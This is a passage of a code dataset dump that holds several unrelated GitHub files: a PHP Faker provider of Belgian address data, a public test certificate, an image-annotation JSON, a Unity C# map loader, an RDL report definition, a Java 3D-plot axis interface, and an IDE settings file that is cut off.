text
stringlengths
2
99.7k
meta
dict
<?php namespace Faker\Provider\nl_BE; class Address extends \Faker\Provider\Address { protected static $postcodes = array( '2970', '3700', '7510', '9420', '8511', '3800', '9300', '9880', '3200', '8700', '8211', '2630', '4557', '4280', '3930', '5590', '5362', '4219', '6280', '9991', '8660', '1790', '9051', '5544', '4317', '5310', '6250', '5070', '3570', '5550', '4432', '1652', '8690', '4540', '6680', '6953', '4770', '6997', '7750', '5300', '1070', '6150', '4821', '4031', '7387', '5537', '6721', '6890', '4430', '5500', '5520', '4520', '4160', '7640', '2000', '2018', '2020', '2030', '2040', '2050', '2060', '2099', '7910', '8570', '9200', '9400', '5170', '7811', '4990', '1390', '8850', '2370', '4601', '6700', '7181', '5060', '6870', '3665', '9404', '9890', '7040', '1730', '8310', '1007', '9960', '6860', '3460', '5330', '9800', '7800', '6791', '3404', '3384', '6717', '7941', '6790', '7972', '4880', '5660', '6880', '7382', '6706', '1367', '5580', '8630', '8580', '4260', '3271', '4340', '4400', '6900', '4630', '4920', '3128', '9310', '2387', '4837', '6464', '6460', '5555', '7730', '5377', '7380', '1470', '5190', '9860', '2490', '6951', '6500', '4671', '5570', '7534', '5370', '6940', '7971', '4983', '4690', '9968', '7830', '6600', '3870', '4651', '7130', '7331', '7870', '7604', '1401', '9520', '8531', '9150', '4052', '6980', '1320', '6594', '7532', '3960', ); protected static $streetAddressFormats = array( '{{streetName}} {{buildingNumber}}' ); protected static $streetNameFormats = array('{{lastName}}{{streetSuffix}}'); protected static $cityFormats = array('{{cityName}}'); protected static $addressFormats = array( "{{streetAddress}}\n {{postcode}} {{city}}", ); protected static $streetSuffix = array( 'baan', 'boulevard', 'dreef', 'hof', 'laan', 'pad', 'ring', 'singel', 'steeg', 'straat', 'weg', ); /** * Export of BAG (http://bag.vrom.nl/) * last updated 2012/11/09 * * @var array */ protected static $cityNames = array( 'Aalst', 'Aarlen', 'Aarschot', 'Aat', 'Andenne', 'Antoing', 'Antwerpen', 'Bastenaken', 'Beringen', 'Beaumont', 'Beauraing', 'Bergen', 'Bilzen', 'Binche', 'Blankenberge', 'Borgloon', 'Borgworm', 'Bouillon', 'Bree', 'Brugge', 'Brussel', 'Charleroi', 'Châtelet', 'Chièvres', 'Chimay', 'Chiny', 'Ciney', 'Couvin', 'Damme', 'Deinze', 'Dendermonde', 'Diest', 'Diksmuide', 'Dilsen-Stokkem', 'Dinant', 'Doornik', 'Durbuy', 'Edingen', 'Eeklo', 'Eupen', 'Fleurus', 'Florenville', 'Fontaine-l\'Evêque', 'Fosses-la-Ville', 'Geel', 'Geldenaken', 'Gembloers', 'Genepiën', 'Genk', 'Gent', 'Geraardsbergen', 'Gistel', '\'s-Gravenbrakel', 'Halen', 'Halle', 'Hamont-Achel', 'Hannuit', 'Harelbeke', 'Hasselt', 'Herentals', 'Herk-de-Stad', 'Herstal', 'Herve', 'Hoei', 'Hoogstraten', 'Houffalize', 'Ieper', 'Izegem', 'Komen-Waasten', 'Kortrijk', 'La Louvière', 'La Roche-en-Ardenne', 'Landen', 'Le Rœulx', 'Lessen', 'Leuze-en-Hainaut', 'Leuven', 'Lier', 'Limburg', 'Lo-Reninge', 'Lokeren', 'Lommel', 'Luik', 'Maaseik', 'Malmedy', 'Marche-en-Famenne', 'Mechelen', 'Menen', 'Mesen', 'Moeskroen', 'Mortsel', 'Namen', 'Neufchâteau', 'Nieuwpoort', 'Nijvel', 'Ninove', 'Oostende', 'Ottignies', 'Oudenaarde', 'Oudenburg', 'Peer', 'Péruwelz', 'Philippeville', 'Poperinge', 'Rochefort', 'Roeselare', 'Ronse', 'Saint-Ghislain', 'Saint-Hubert', 'Sankt Vith', 'Scherpenheuvel-Zichem', 'Seraing', 'Sint-Niklaas', 'Sint-Truiden', 'Spa', 'Stavelot', 'Thuin', 'Tielt', 'Tienen', 'Tongeren', 'Torhout', 'Turnhout', 'Verviers', 'Veurne', 'Vilvoorde', 'Virton', 'Walcourt', 'Waregem', 'Waver', 'Wervik', 'Wezet', 'Zinnik', 'Zottegem', 'Zoutleeuw' ); protected static $state = array( 'Antwerpen', 'Limburg', 'Oost-Vlaanderen', 'Vlaams-Brabant', 'West-Vlaanderen', 'Henegouwen', 'Luik', 'Luxemburg', 'Namen', 'Waals-Brabant' ); protected static $country = array( 'Afghanistan', 'Albanië', 'Algerije', 'Amerikaans-Samoa', 'Andorra', 'Angola', 'Amerikaanse Virgineilanden', 'Anguilla', 'Antartica', 'Antigua en Barbuda', 'Argentinië', 'Armenië', 'Aruba', 'Australië', 'Azerbeidzjan', 'Bahamas', 'Bahrein', 'Bangladesh', 'Barbados', 'België', 'Belize', 'Benin', 'Bermuda', 'Bhutan', 'Bolivia', 'Bosnië-Herzegovina', 'Botswana', 'Bouvet Eiland (Bouvetoya)', 'Brazilië', 'Britse Maagdeneilanden', 'Brunei Darussalam', 'Bulgarije', 'Burkina Faso', 'Burundi', 'Cambodja', 'Canada', 'Centraal-Afrikaanse Republiek', 'Chili', 'China', 'Christmaseiland', 'Cocoseilanden', 'Colombia', 'Comoren', 'Congo', 'Cookeilanden', 'Costa Rica', 'Cuba', 'Cyprus', 'Denemarken', 'Djibouti', 'Dominica', 'Dominicaanse Republiek', 'Duitsland', 'Ecuador', 'Egypte', 'El salvador', 'Equatoriaal-Guinea', 'Eritrea', 'Estland', 'Ethiopië', 'Faroe Eilanden', 'Falklandeilanden', 'Fiji', 'Finland', 'Frankrijk', 'Frans-Guyana', 'Frans-Polynesië', 'Franse Zuidelijke en Antarctische Gebieden', 'Gabon', 'Gambia', 'Georgië', 'Ghana', 'Gibraltar', 'Griekenland', 'Groenland', 'Grenada', 'Guadeloupe', 'Guam', 'Guatemala', 'Guernsey', 'Guinee', 'Guinee-Bissau', 'Guyana', 'Haïti', 'Heard en McDonaldeilanden', 'Honduras', 'Hong Kong', 'Hongarije', 'IJsland', 'India', 'Indonesië', 'Iran', 'Irak', 'Ierland', 'Man', 'Israel', 'Ivoorkust', 'Italië', 'Jamaica', 'Japan', 'Jersey', 'Jordanië', 'Jemen', 'Kazachstan', 'Kenia', 'Kleinere afgelegen eilanden van de Verenigde staten', 'Kiribati', 'Korea', 'Koeweit', 'Kirgizië', 'Kameroen', 'Kaapverdië', 'Kaaimaneilanden', 'Kroatië', 'Laos', 'Letland', 'Libanon', 'Lesotho', 'Liberia', 'Libië', 'Liechtenstein', 'Litouwen', 'Luxemburg', 'Macau', 'Macedonië', 'Madagascar', 'Malawi', 'Maleisië', 'Maldiven', 'Mali', 'Malta', 'Marshalleilanden', 'Martinique', 'Mauritus', 'Mauritania', 'Mayotte', 'Mexico', 'Micronesië', 'Moldavië', 'Monaco', 'Mongolië', 'Montenegro', 'Monsterrat', 'Marokko', 'Mozambique', 'Myanmar', 'Namibië', 'Nauru', 'Nepal', 'Nederlandse Antillen', 'Nederland', 'Nieuw-Caledonië', 'Nieuw-Zeeland', 'Nicaragua', 'Niger', 'Nigeria', 'Niue', 'Norfolk', 'Noordelijke Marianen', 'Noorwegen', 'Oman', 'Oostenrijk', 'Oeganda', 'Oekraïne', 'Oezbakistan', 'Pakistan', 'Palau', 'Palestina', 'Panama', 'Papoea-Nieuw-Guinea', 'Paraguay', 'Peru', 'Filipijnen', 'Pitcairneilanden', 'Polen', 'Portugal', 'Puerto Rico', 'Qatar', 'Réunion', 'Roemenië', 'Rusland', 'Rwanda', 'Rwanda', 'Sint-Bartholomeus', 'Sint-Helena', 'Saint Kitts en Nevis', 'Saint Lucia', 'Sint Maarten', 'Saint-Pierre en Miquelon', 'Saint Vincent en de Grenadines', 'Samoa', 'San Marino', 'Sao Toma en Principe', 'Saoedi-Arabië', 'Senegal', 'Servië', 'Seychellen', 'Sierra Leone', 'Singapore', 'Slovenië', 'Salomonseilanden', 'Somalië', 'Spanje', 'Sri Lanka', 'Soedan', 'Suriname', 'Spitsbergen en Jan Mayen', 'Swaziland', 'Zweden', 'Zwitserland', 'Syrië', 'Taiwan', 'Tadzjikistan', 'Tanzania', 'Thailand', 'Tsjaad', 'Timor-Leste', 'Togo', 'Tokelau-eilanden', 'Tonga', 'Trinidad en Trobago', 'Tunesië', 'Turkije', 'Turkmenistan', 'Turks- en Caicoseilanden', 'Tuvalu', 'Tsjechische Republiek', 'Uruguay', 'Vanuatu', 'Venezuela', 'Verenigde Arabische Emiraten', 'Verenigd Koninkrijk', 'Verenigde Staten van Amerika', 'Vaticaanstad', 'Vietnam', 'Wallis en Futuna', 'Westerlijke Shara', 'Wit-Rusland', 'Zambia', 'Zuid-Afrika', 'Zuid-Georgia en de Zuidelijke Sandwicheilanden', 'Zimbabwe' ); public static function postcode() { return static::randomElement(static::$postcodes); } /** * @example 'Gelderland' */ public static function state() { return static::randomElement(static::$state); } /** * @see parent */ public function cityName() { return static::randomElement(static::$cityNames); } }
{ "pile_set_name": "Github" }
-----BEGIN CERTIFICATE----- MIID9zCCA2CgAwIBAgIBADANBgkqhkiG9w0BAQQFADCBtDELMAkGA1UEBhMCTlox EzARBgNVBAcTCldlbGxpbmd0b24xPDA6BgNVBAoTM1JlYWxseSBJcnJlc3BvbnNp YmxlIEF1dGhvcmlzYXRpb24gQXV0aG9yaXR5IChSSUFBKTEWMBQGA1UECxMNQ2Vy dC1zdGFtcGluZzEZMBcGA1UEAxMQSmFja292IGFsLVRyYWRlczEfMB0GCSqGSIb3 DQEJARYQbm9uZUBmYWtlLmRvbWFpbjAeFw0wMjAxMTYwNTA5NTlaFw0xMjAxMTQw NTA5NTlaMIG0MQswCQYDVQQGEwJOWjETMBEGA1UEBxMKV2VsbGluZ3RvbjE8MDoG A1UEChMzUmVhbGx5IElycmVzcG9uc2libGUgQXV0aG9yaXNhdGlvbiBBdXRob3Jp dHkgKFJJQUEpMRYwFAYDVQQLEw1DZXJ0LXN0YW1waW5nMRkwFwYDVQQDExBKYWNr b3YgYWwtVHJhZGVzMR8wHQYJKoZIhvcNAQkBFhBub25lQGZha2UuZG9tYWluMIGf MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7QdDfFIrJn3X24hKmpkyk3TG0Ivxd K2wWmDPXq1wjr8lUTwrA6hM5Ba9N36jLieWpXhviLOWu9DBza5GmtgCuXloATKTC 94xOdKHlciTVujG3wDlLDB5e710Kar84nnj6VueL1RyZ0bmP5PANa4mbGW9Tqc7J CkBTTW2y9d0SgQIDAQABo4IBFTCCAREwHQYDVR0OBBYEFEn7RXISxMzhRaHTCJ6V xCxtVT8XMIHhBgNVHSMEgdkwgdaAFEn7RXISxMzhRaHTCJ6VxCxtVT8XoYG6pIG3 MIG0MQswCQYDVQQGEwJOWjETMBEGA1UEBxMKV2VsbGluZ3RvbjE8MDoGA1UEChMz UmVhbGx5IElycmVzcG9uc2libGUgQXV0aG9yaXNhdGlvbiBBdXRob3JpdHkgKFJJ QUEpMRYwFAYDVQQLEw1DZXJ0LXN0YW1waW5nMRkwFwYDVQQDExBKYWNrb3YgYWwt VHJhZGVzMR8wHQYJKoZIhvcNAQkBFhBub25lQGZha2UuZG9tYWluggEAMAwGA1Ud EwQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEAYQo95V/NY+eKxYxkhibZiUQygph+ gTfgbDG20MsnH6+8//w5ArHauFCgDrf0P2VyACgq+N4pBTWFGaAaLwbjKy9HCe2E j9C91tO1CqDS4MJkDB5AP13FTkK6fP1ZCiTQranOAp3DlGWTTWsFVyW5kVfQ9diS ZOyJZ9Fit5XM2X0= -----END CERTIFICATE-----
{ "pile_set_name": "Github" }
{ "version": "3.6.1", "flags": {}, "shapes": [ { "label": "tail", "line_color": null, "fill_color": null, "points": [ [ 35, 107 ], [ 28, 108 ], [ 20, 110 ], [ 15, 113 ], [ 10, 113 ], [ 6, 115 ], [ 6, 125 ], [ 7, 134 ], [ 21, 143 ], [ 38, 159 ], [ 50, 170 ], [ 69, 187 ], [ 86, 198 ], [ 97, 210 ], [ 114, 225 ], [ 124, 238 ], [ 130, 258 ], [ 131, 268 ], [ 146, 270 ], [ 161, 272 ], [ 173, 268 ], [ 176, 261 ], [ 191, 243 ], [ 213, 233 ], [ 233, 229 ], [ 252, 223 ], [ 290, 213 ], [ 308, 213 ], [ 332, 213 ], [ 355, 214 ], [ 372, 214 ], [ 384, 213 ], [ 395, 207 ], [ 397, 198 ], [ 394, 194 ], [ 382, 191 ], [ 374, 191 ], [ 362, 189 ], [ 353, 184 ], [ 345, 182 ], [ 334, 179 ], [ 325, 177 ], [ 307, 175 ], [ 290, 172 ], [ 276, 174 ], [ 263, 172 ], [ 248, 174 ], [ 242, 172 ], [ 235, 174 ], [ 226, 173 ], [ 209, 173 ], [ 197, 174 ], [ 187, 177 ], [ 183, 168 ], [ 176, 165 ], [ 157, 155 ], [ 150, 153 ], [ 135, 148 ], [ 125, 143 ], [ 110, 135 ], [ 101, 131 ], [ 90, 127 ], [ 82, 125 ], [ 73, 122 ], [ 61, 119 ], [ 50, 115 ], [ 45, 113 ] ], "shape_type": "polygon" } ], "lineColor": [ 0, 255, 0, 128 ], "fillColor": [ 255, 0, 0, 128 ], "imagePath": "0172cb96f.jpg", "imageData": null, "imageHeight": 400, "imageWidth": 400 }
{ "pile_set_name": "Github" }
using UnityEngine; using System.Collections; using System; using System.Collections.Generic; using CFG; namespace MAP { public class FTWorldMap : MonoBehaviour, IFTWorld { public int MapID; public int MapType; public string MapName = string.Empty; public Action MapLoadFinish = null; public MapConfig MapData = null; public bool AllowRide = true; public bool AllowPK = true; public bool AllowTrade = true; public void AddGroup<T>() where T : FTContainer { T g = new GameObject(typeof(T).Name).AddComponent<T>(); g.transform.parent = transform; g.transform.localPosition = Vector3.zero; g.transform.localEulerAngles = Vector3.zero; g.transform.localScale = Vector3.one; } public T GetGroup<T>() { return GetComponentInChildren<T>(); } public void AddGroups() { AddGroup<FTGroupBorn>(); AddGroup<FTGroupArea>(); AddGroup<FTGroupAreaMine>(); AddGroup<FTGroupAreaMonster>(); AddGroup<FTGroupBarrier>(); AddGroup<FTGroupNpc>(); AddGroup<FTGroupPortal>(); AddGroup<FTGroupMutiPoint>(); AddGroup<FTGroupPath>(); AddGroup<FTGroupBoss>(); AddGroup<FTGroupEvent>(); AddGroup<FTGroupTimer>(); AddGroup<FTGroupStep>(); } public void TriggerElement<T>(int id) where T : FTComponent { FTGroup<T> g = GetGroup<FTGroup<T>>(); if (g == null) { return; } T element = g.GetElement(id); if (element == null) { return; } element.Trigger(); } public void ReleaseElement<T>(int id) where T : FTComponent { FTGroup<T> g = GetGroup<FTGroup<T>>(); if (g == null) { return; } T element = g.GetElement(id); if (element == null) { return; } element.Release(); } public void EnterWorld(int worldID) { this.MapID = worldID; this.transform.DestroyChildren(); this.AddGroups(); this.Import(); if (MapLoadFinish != null) { MapLoadFinish(); MapLoadFinish = null; } } public void ExportDCFGByElement<TElement, TDCFG>(List<TDCFG> cfgList, FTWorldMap worldMap) where TElement : FTComponent where TDCFG : MapComponent { List<TElement> list = worldMap.GetGroup<FTGroup<TElement>>().GetElements(); for (int i = 0; i < list.Count; i++) { cfgList.Add(list[i].Export() as TDCFG); } } public void ImportDCFGByElement<TElement, TDCFG>(List<TDCFG> cfgList, FTWorldMap worldMap) where TElement : FTComponent where TDCFG : MapComponent { FTGroup<TElement> group = worldMap.GetGroup<FTGroup<TElement>>(); for (int i = 0; i < cfgList.Count; i++) { TElement element = group.AddElement(); element.Import(cfgList[i]); } } public void ImportEvents(List<MapEvent> cfgList, FTWorldMap worldMap) { FTGroupEvent group = worldMap.GetGroup<FTGroupEvent>(); for (int i = 0; i < cfgList.Count; i++) { MapEvent d = cfgList[i]; EFTEventType t = (EFTEventType)d.EventType; Type type = Type.GetType("MAP." + t.ToString()); group.AddEvent(type); } } public void Export() { FTWorldMap worldMap = this; MapConfig data = new MapConfig(); data.MapID = worldMap.MapID; data.MapName = worldMap.MapName; data.MapType = worldMap.MapType; data.AllowPK = worldMap.AllowPK; data.AllowRide = worldMap.AllowRide; data.AllowTrade = worldMap.AllowTrade; ExportDCFGByElement<FTBorn, MapBorn>( data.MapBorns, worldMap); ExportDCFGByElement<FTArea, MapArea>( data.MapAreas, worldMap); ExportDCFGByElement<FTAreaMine, MapAreaMine>( data.MapAreaMines, worldMap); ExportDCFGByElement<FTAreaMonster, MapAreaMonster>(data.MapAreaMonsters, worldMap); ExportDCFGByElement<FTBarrier, MapBarrier>( data.MapBarriers, worldMap); ExportDCFGByElement<FTMutiPoint, MapMutiPoint>( data.MapMutiPoints, worldMap); ExportDCFGByElement<FTNpc, MapNpc>( data.MapNpcs, worldMap); ExportDCFGByElement<FTPath, MapPath>( data.MapPaths, worldMap); ExportDCFGByElement<FTPortal, MapPortal>( data.MapPortals, worldMap); ExportDCFGByElement<FTStep, MapStep>( data.MapSteps, worldMap); ExportDCFGByElement<FTTimer, MapTimer>( data.MapTimers, worldMap); ExportDCFGByElement<FTEvent, MapEvent>( data.MapEvents, worldMap); string fileName = string.Format("{0}/Resources/Text/Map/{1}.xml", Application.dataPath, data.MapID); data.Save(fileName); } public void Import() { FTWorldMap worldMap = this; string fileName = string.Format("Text/Map/{0}", worldMap.MapID); MapConfig data = new MapConfig(); data.Load(fileName); worldMap.MapID = data.MapID; worldMap.MapName = data.MapName; worldMap.MapType = data.MapType; worldMap.AllowPK = data.AllowPK; worldMap.AllowRide = data.AllowRide; worldMap.AllowTrade = data.AllowTrade; ImportEvents( data.MapEvents, worldMap); ImportDCFGByElement<FTBorn, MapBorn>( data.MapBorns, worldMap); ImportDCFGByElement<FTArea, MapArea>( data.MapAreas, worldMap); ImportDCFGByElement<FTAreaMine, MapAreaMine>( data.MapAreaMines, worldMap); ImportDCFGByElement<FTAreaMonster, MapAreaMonster>(data.MapAreaMonsters, worldMap); ImportDCFGByElement<FTBarrier, MapBarrier>( data.MapBarriers, worldMap); ImportDCFGByElement<FTMutiPoint, MapMutiPoint>( data.MapMutiPoints, worldMap); ImportDCFGByElement<FTNpc, MapNpc>( data.MapNpcs, worldMap); ImportDCFGByElement<FTPath, MapPath>( data.MapPaths, worldMap); ImportDCFGByElement<FTPortal, MapPortal>( data.MapPortals, worldMap); ImportDCFGByElement<FTStep, MapStep>( data.MapSteps, worldMap); ImportDCFGByElement<FTTimer, MapTimer>( data.MapTimers, worldMap); MapData = data; } } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <Report xmlns="http://schemas.microsoft.com/sqlserver/reporting/2005/01/reportdefinition" xmlns:rd="http://schemas.microsoft.com/SQLServer/reporting/reportdesigner"> <Description> </Description> <Author> </Author> <PageHeight>11in</PageHeight> <PageWidth>8.5in</PageWidth> <DataSources> <DataSource Name="DS1"> <ConnectionProperties> <DataProvider>xxx</DataProvider> <ConnectString>dsn=PGSMREDYKAJNY;</ConnectString> </ConnectionProperties> </DataSource> </DataSources> <Width>7.5in</Width> <TopMargin>.25in</TopMargin> <LeftMargin>.25in</LeftMargin> <RightMargin>.25in</RightMargin> <BottomMargin>.25in</BottomMargin> <DataSets> <DataSet Name="Data"> <Query> <DataSourceName>DS1</DataSourceName> <CommandText> </CommandText> </Query> <Fields> <Field Name="decimalvalue"> <DataField>decimalvalue</DataField> <rd:TypeName>System.Decimal</rd:TypeName> </Field> <Field Name="datetimevalue"> <DataField>datetimevalue</DataField> <rd:TypeName>System.Datetime</rd:TypeName> </Field> </Fields> <fyi:Rows xmlns:fyi="http://www.fyireporting.com/schemas"> <Row> <decimalvalue>1.99</decimalvalue> </Row> <Row> <decimalvalue>2011.89</decimalvalue> </Row> <Row> <decimalvalue>300,78</decimalvalue> </Row> <Row> <decimalvalue>4</decimalvalue> </Row> <Row> <decimalvalue>5</decimalvalue> </Row> <Row> <decimalvalue>6</decimalvalue> </Row> <Row> <decimalvalue>7</decimalvalue> </Row> <Row> <decimalvalue>8</decimalvalue> </Row> <Row> <decimalvalue>9</decimalvalue> </Row> </fyi:Rows> </DataSet> </DataSets> <PageHeader> <Height>.5in</Height> <PrintOnFirstPage>true</PrintOnFirstPage> <PrintOnLastPage>true</PrintOnLastPage> </PageHeader> <Body> <Height>25.0pt</Height> <ReportItems> <Table Name="Table1"> <DataSetName>Data</DataSetName> <NoRows>Query returned no rows!</NoRows> <Style> <BorderStyle> <Default>Solid</Default> </BorderStyle> <BorderColor /> <BorderWidth /> </Style> <TableColumns> <TableColumn> <Width>1in</Width> </TableColumn> <TableColumn> <Width>1in</Width> </TableColumn> <TableColumn> <Width>1in</Width> </TableColumn> <TableColumn > <Width>1in</Width> </TableColumn> <TableColumn > <Width>1in</Width> </TableColumn> <TableColumn > <Width>153.9pt</Width> </TableColumn> </TableColumns> <Header> <TableRows> <TableRow> <Height>12 pt</Height> <TableCells> <TableCell> <ReportItems> <Textbox Name="Textbox5"> <Value>decimal str</Value> <Style xmlns="http://schemas.microsoft.com/sqlserver/reporting/2005/01/reportdefinition"> <TextAlign>Center</TextAlign> <BorderStyle> <Default>Solid</Default> </BorderStyle> <FontWeight>Bold</FontWeight> <BorderColor /> <BorderWidth /> </Style> </Textbox> </ReportItems> </TableCell> <TableCell> <ReportItems> <Textbox Name="Textbox1"> <Value>#,##0.00</Value> <Style> <TextAlign>Center</TextAlign> <BorderStyle> <Default>Solid</Default> </BorderStyle> <FontWeight>Bold</FontWeight> <BorderColor /> <BorderWidth /> </Style> </Textbox> </ReportItems> </TableCell> <TableCell> <ReportItems> <Textbox Name="Textbox3"> <Value>#,##0</Value> <Style xmlns="http://schemas.microsoft.com/sqlserver/reporting/2005/01/reportdefinition"> <TextAlign>Center</TextAlign> <BorderStyle> <Default>Solid</Default> </BorderStyle> <FontWeight>Bold</FontWeight> <BorderColor /> <BorderWidth /> </Style> </Textbox> </ReportItems> </TableCell> <TableCell > <ReportItems> <Textbox Name="Textbox8"> <Value>datetime str</Value> <Style xmlns="http://schemas.microsoft.com/sqlserver/reporting/2005/01/reportdefinition"> <TextAlign>Center</TextAlign> <BorderStyle> <Default>Solid</Default> </BorderStyle> <FontWeight>Bold</FontWeight> <BorderColor /> <BorderWidth /> </Style> </Textbox> </ReportItems> </TableCell> <TableCell > <ReportItems> <Textbox Name="Textbox10"> <Value>MM/dd/yyyy</Value> <Style xmlns="http://schemas.microsoft.com/sqlserver/reporting/2005/01/reportdefinition"> <TextAlign>Center</TextAlign> <BorderStyle> <Default>Solid</Default> </BorderStyle> <FontWeight>Bold</FontWeight> <BorderColor /> <BorderWidth /> </Style> </Textbox> </ReportItems> </TableCell> <TableCell > <ReportItems> <Textbox Name="Textbox12"> <Value>dddd, MMMM dd, yyyy HH:mm:ss</Value> <Style xmlns="http://schemas.microsoft.com/sqlserver/reporting/2005/01/reportdefinition"> <TextAlign>Center</TextAlign> <BorderStyle> <Default>Solid</Default> </BorderStyle> <FontWeight>Bold</FontWeight> <BorderColor /> <BorderWidth /> </Style> </Textbox> </ReportItems> </TableCell> </TableCells> </TableRow> </TableRows> <RepeatOnNewPage>true</RepeatOnNewPage> </Header> <Details> <TableRows> <TableRow> <Height>12 pt</Height> <TableCells> <TableCell> <ReportItems> <Textbox Name="Textbox7"> <Value>=Fields!decimalvalue.Value</Value> <Style xmlns="http://schemas.microsoft.com/sqlserver/reporting/2005/01/reportdefinition"> <BorderStyle> <Default>Solid</Default> </BorderStyle> <BorderColor /> <BorderWidth /> </Style> </Textbox> </ReportItems> </TableCell> <TableCell> <ReportItems> <Textbox Name="Textbox2"> <Value>=Fields!decimalvalue.Value</Value> <CanGrow>true</CanGrow> <Style> <BorderStyle> <Default>Solid</Default> </BorderStyle> <BorderColor /> <BorderWidth /> <Format>#,##0.00</Format> </Style> </Textbox> </ReportItems> </TableCell> <TableCell> <ReportItems> <Textbox Name="Textbox4"> <Value>=Fields!decimalvalue.Value</Value> <Style xmlns="http://schemas.microsoft.com/sqlserver/reporting/2005/01/reportdefinition"> <BorderStyle> <Default>Solid</Default> </BorderStyle> <BorderColor /> <BorderWidth /> <Format>#,##0</Format> </Style> </Textbox> </ReportItems> </TableCell> <TableCell > <ReportItems> <Textbox Name="Textbox9"> <Value>=Fields!datetimevalue.Value</Value> <Style xmlns="http://schemas.microsoft.com/sqlserver/reporting/2005/01/reportdefinition"> <BorderStyle> <Default>Solid</Default> </BorderStyle> <BorderColor /> <BorderWidth /> <Format>#,##0</Format> </Style> </Textbox> </ReportItems> </TableCell> <TableCell > <ReportItems> <Textbox Name="Textbox11"> <Value>=Fields!datetimevalue.Value</Value> <Style xmlns="http://schemas.microsoft.com/sqlserver/reporting/2005/01/reportdefinition"> <BorderStyle> <Default>Solid</Default> </BorderStyle> <BorderColor /> <BorderWidth /> <Format>MM/dd/yyyy</Format> </Style> </Textbox> </ReportItems> </TableCell> <TableCell > <ReportItems> <Textbox Name="Textbox13"> <Value>=Fields!datetimevalue.Value</Value> <Style xmlns="http://schemas.microsoft.com/sqlserver/reporting/2005/01/reportdefinition"> <BorderStyle> <Default>Solid</Default> </BorderStyle> <BorderColor /> <BorderWidth /> <Format>dddd, MMMM dd, yyyy HH:mm:ss</Format> </Style> </Textbox> </ReportItems> </TableCell> </TableCells> </TableRow> </TableRows> </Details> <Left>0.0pt</Left> <Top>0.0pt</Top> </Table> </ReportItems> </Body> <PageFooter> <Height>14pt</Height> <ReportItems> <Textbox Name="Textbox6"> <Top>1pt</Top> <Left>10pt</Left> <Height>12pt</Height> <Width>3in</Width> <Value>=Globals!PageNumber + ' of ' + Globals!TotalPages</Value> <Style> <FontSize>10pt</FontSize> <FontWeight>Normal</FontWeight> </Style> </Textbox> </ReportItems> <PrintOnFirstPage>true</PrintOnFirstPage> <PrintOnLastPage>true</PrintOnLastPage> </PageFooter> </Report>
{ "pile_set_name": "Github" }
package org.jzy3d.plot3d.primitives.axes.layout; import org.jzy3d.colors.Color; import org.jzy3d.plot3d.primitives.axes.layout.providers.ITickProvider; import org.jzy3d.plot3d.primitives.axes.layout.renderers.ITickRenderer; public interface IAxeLayout { public void setMainColor(Color color); public Color getMainColor(); //public void setTickDisplayed(boolean status); //public boolean isTickDisplayed(); public Color getGridColor(); public void setGridColor(Color gridColor); // not for axebase public void setFaceDisplayed(boolean status); public boolean isFaceDisplayed(); public Color getQuadColor(); public void setQuadColor(Color quadColor); public void setXAxeLabel(String label); public void setYAxeLabel(String label); public void setZAxeLabel(String label); public String getXAxeLabel(); public String getYAxeLabel(); public String getZAxeLabel(); public void setXAxeLabelDisplayed(boolean axeLabelDisplayed); public void setYAxeLabelDisplayed(boolean axeLabelDisplayed); public void setZAxeLabelDisplayed(boolean axeLabelDisplayed); public boolean isXAxeLabelDisplayed(); public boolean isYAxeLabelDisplayed(); public boolean isZAxeLabelDisplayed(); public void setXTickLabelDisplayed(boolean tickLabelDisplayed); public void setYTickLabelDisplayed(boolean tickLabelDisplayed); public void setZTickLabelDisplayed(boolean tickLabelDisplayed); public boolean isXTickLabelDisplayed(); public boolean isYTickLabelDisplayed(); public boolean isZTickLabelDisplayed(); public boolean isTickLineDisplayed(); public void setTickLineDisplayed(boolean status); public void setXTickProvider(ITickProvider provider); public void setYTickProvider(ITickProvider provider); public void setZTickProvider(ITickProvider provider); public ITickProvider getXTickProvider(); public ITickProvider getYTickProvider(); public ITickProvider getZTickProvider(); public void setXTickRenderer(ITickRenderer renderer); public void setYTickRenderer(ITickRenderer renderer); public void setZTickRenderer(ITickRenderer renderer); public ITickRenderer getXTickRenderer(); public ITickRenderer getYTickRenderer(); public ITickRenderer getZTickRenderer(); /*public void updateXTicks(float min, float max); public void updateYTicks(float min, float max); public void updateZTicks(float min, float max);*/ public double[] getXTicks(double min, double max); public double[] getYTicks(double min, double max); public double[] getZTicks(double min, double max); public double[] getXTicks(); public double[] getYTicks(); public double[] getZTicks(); public void setXTickColor(Color color); public void setYTickColor(Color color); public void setZTickColor(Color color); public Color getXTickColor(); public Color getYTickColor(); public Color getZTickColor(); }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <project version="4"> <component name="MarkdownEnhProjectSettings"> <AnnotatorSettings targetHasSpaces="true" linkCaseMismatch="true" wikiCaseMismatch="true" wikiLinkHasDashes="true" notUnderWikiHome="true" targetNotWikiPageExt="true" notUnderSourceWikiHome="true" targetNameHasAnchor="true" targetPathHasAnchor="true" wikiLinkHasSlash="true" wikiLinkHasSubdir="true" wikiLinkHasOnlyAnchor="true" linkTargetsWikiHasExt="true" linkTargetsWikiHasBadExt="true" notUnderSameRepo="true" targetNotUnderVcs="false" linkNeedsExt="true" linkHasBadExt="true" linkTargetNeedsExt="true" linkTargetHasBadExt="true" wikiLinkNotInWiki="true" imageTargetNotInRaw="true" repoRelativeAcrossVcsRoots="true" multipleWikiTargetsMatch="true" unresolvedLinkReference="true" linkIsIgnored="true" anchorIsIgnored="true" anchorIsUnresolved="true" anchorLineReferenceIsUnresolved="true" anchorLineReferenceFormat="true" anchorHasDuplicates="true" abbreviationDuplicates="true" abbreviationNotUsed="true" attributeIdDuplicateDefinition="true" attributeIdNotUsed="true" footnoteDuplicateDefinition="true" footnoteUnresolved="true" footnoteDuplicates="true" footnoteNotUsed="true" macroDuplicateDefinition="true" macroUnresolved="true" macroDuplicates="true" macroNotUsed="true" referenceDuplicateDefinition="true" referenceUnresolved="true" referenceDuplicates="true" referenceNotUsed="true" referenceUnresolvedNumericId="true" enumRefDuplicateDefinition="true" enumRefUnresolved="true" enumRefDuplicates="true" enumRefNotUsed="true" enumRefLinkUnresolved="true" enumRefLinkDuplicates="true" simTocUpdateNeeded="true" simTocTitleSpaceNeeded="true" /> <HtmlExportSettings updateOnSave="false" parentDir="" targetDir="" cssDir="css" scriptDir="js" plainHtml="false" imageDir="" copyLinkedImages="false" imagePathType="0" targetPathType="2" targetExt="" useTargetExt="false" 